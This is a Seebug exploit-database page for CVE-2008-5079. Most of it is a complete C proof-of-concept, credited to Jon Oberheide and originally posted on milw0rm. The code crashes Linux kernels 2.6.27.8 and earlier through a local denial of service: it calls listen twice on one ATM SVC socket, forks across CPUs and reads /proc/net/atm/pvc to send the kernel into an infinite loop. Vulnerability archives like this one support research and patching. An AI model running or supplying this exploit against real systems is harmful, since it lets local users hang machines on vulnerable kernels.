Lucene search

K
seebugRootSSV:66036
HistoryJul 01, 2014 - 12:00 a.m.

Linux Kernel <= 2.6.27.8 - ATMSVC Local Denial of Service Exploit

2014-07-0100:00:00
Root
www.seebug.org
13

0.0004 Low

EPSS

Percentile

0.4%

No description provided by source.


                                                /*
 * cve-2008-5079.c
 *
 * Linux Kernel &#60;= 2.6.27.8 ATMSVC local DoS
 * Jon Oberheide &#60;[email protected]&#62;
 *
 * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:
 *
 *   net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8
 *   and earlier allows local users to cause a denial of service  
 *   (kernel infinite loop) by making two calls to svc_listen for the
 *   same socket, and then reading a /proc/net/atm/*vc file, related  
 *   to corruption of the vcc table.  
 *
 */
 
#include &#60;stdio.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;string.h&#62;
#include &#60;fcntl.h&#62;
#include &#60;errno.h&#62;
#include &#60;linux/atm.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/socket.h&#62;
#include &#60;sys/stat.h&#62;
 
#define NR_CPUS 8
#define PROC_ATM &#34;/proc/net/atm/pvc&#34;
 
int
main(void)
{
    char *err, dummy[1024];
    int i, ret, sock, proc;
    struct atm_qos qos;
    struct sockaddr_atmsvc addr;
 
    printf(&#34;[+] creating ATM socket...\n&#34;);
 
    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);
    if (sock &#60; 0) {
        err = &#34;socket(2) for type PF_ATMSVC failed&#34;;
        printf(&#34;[-] PoC error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }
 
    memset(&qos, 0, sizeof(qos));
    qos.rxtp.traffic_class = ATM_UBR;
    qos.txtp.traffic_class = ATM_UBR;
    qos.aal = ATM_NO_AAL;
 
    printf(&#34;[+] setting socket QoS options...\n&#34;);
 
    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));
    if (ret == -1) {
        err = &#34;setsockopt(2) for option SO_ATMQOS failed&#34;;
        printf(&#34;[-] PoC error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }
 
    memset(&addr, 0, sizeof(addr));
    addr.sas_family = AF_ATMSVC;
 
    printf(&#34;[+] binding socket...\n&#34;);
 
    bind(sock, (struct sockaddr *) &addr, sizeof(addr));
 
    printf(&#34;[+] socket listen...\n&#34;);
 
    listen(sock, 10);
 
    printf(&#34;[+] duplicate socket listen...\n&#34;);
 
    listen(sock, 10);
 
    printf(&#34;[+] attempting local DoS...\n&#34;);
 
    for (i = 0; i &#60; NR_CPUS; ++i) {
        if (fork() != 0) {
            break;
        }
    }
 
    proc = open(PROC_ATM, O_RDONLY);
    if (proc == -1) {
        err = &#34;opening &#34; PROC_ATM &#34; failed&#34;;
        printf(&#34;[-] PoC error: %s (%s)\n&#34;, err, strerror(errno));
        return 1;
    }
    ret = read(proc, &dummy, 1024);
    close(proc);
    
    printf(&#34;[-] Local DoS failed.\n&#34;);
 
    return 0;
}

// milw0rm.com [2008-12-10]